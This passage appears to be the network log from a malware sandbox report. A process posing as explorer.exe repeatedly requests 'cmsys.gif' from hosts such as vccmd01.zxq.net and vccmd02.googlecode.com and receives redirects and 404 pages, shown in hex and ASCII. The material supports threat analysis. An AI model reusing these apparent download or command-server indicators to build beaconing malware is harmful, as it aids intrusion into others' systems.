74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
Oct 29, 2024 13:11:18.611125946 CET	201	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.zxq.net Connection: Keep-Alive
Oct 29, 2024 13:11:18.790410995 CET	1024	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 795 date: Tue, 29 Oct 2024 12:11:18 GMT server: LiteSpeed location: https://zxq.net/cmsys.gif Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
Oct 29, 2024 13:11:24.206197977 CET	201	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.zxq.net Connection: Keep-Alive
Oct 29, 2024 13:11:24.386756897 CET	1024	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 795 date: Tue, 29 Oct 2024 12:11:24 GMT server: LiteSpeed location: https://zxq.net/cmsys.gif Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
Oct 29, 2024 13:11:29.861740112 CET	201	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.zxq.net Connection: Keep-Alive
Oct 29, 2024 13:11:30.041160107 CET	1024	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 795 date: Tue, 29 Oct 2024 12:11:29 GMT server: LiteSpeed location: https://zxq.net/cmsys.gif Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
Oct 29, 2024 13:11:35.331653118 CET	201	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.zxq.net Connection: Keep-Alive
Oct 29, 2024 13:11:35.511270046 CET	1024	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 795 date: Tue, 29 Oct 2024 12:11:35 GMT server: LiteSpeed location: https://zxq.net/cmsys.gif Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
Oct 29, 2024 13:11:41.455147028 CET	201	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.zxq.net Connection: Keep-Alive
Oct 29, 2024 13:11:41.634614944 CET	1024	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 795 date: Tue, 29 Oct 2024 12:11:41 GMT server: LiteSpeed location: https://zxq.net/cmsys.gif Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
Oct 29, 2024 13:11:47.344938040 CET	201	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.zxq.net Connection: Keep-Alive
Oct 29, 2024 13:11:47.526855946 CET	1024	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 795 date: Tue, 29 Oct 2024 12:11:47 GMT server: LiteSpeed location: https://zxq.net/cmsys.gif Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
Oct 29, 2024 13:11:52.916248083 CET	201	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.zxq.net Connection: Keep-Alive
Oct 29, 2024 13:11:53.096103907 CET	1024	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 795 date: Tue, 29 Oct 2024 12:11:53 GMT server: LiteSpeed location: https://zxq.net/cmsys.gif Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
Oct 29, 2024 13:11:58.507155895 CET	201	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.zxq.net Connection: Keep-Alive
Oct 29, 2024 13:11:58.686666012 CET	1024	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 795 date: Tue, 29 Oct 2024 12:11:58 GMT server: LiteSpeed location: https://zxq.net/cmsys.gif Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	60499	64.233.166.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:08:40.302423954 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:08:41.224806070 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:08:41 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:08:41.224822998 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	60512	108.177.15.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:08:42.511394024 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd02.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:08:43.460814953 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:08:43 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 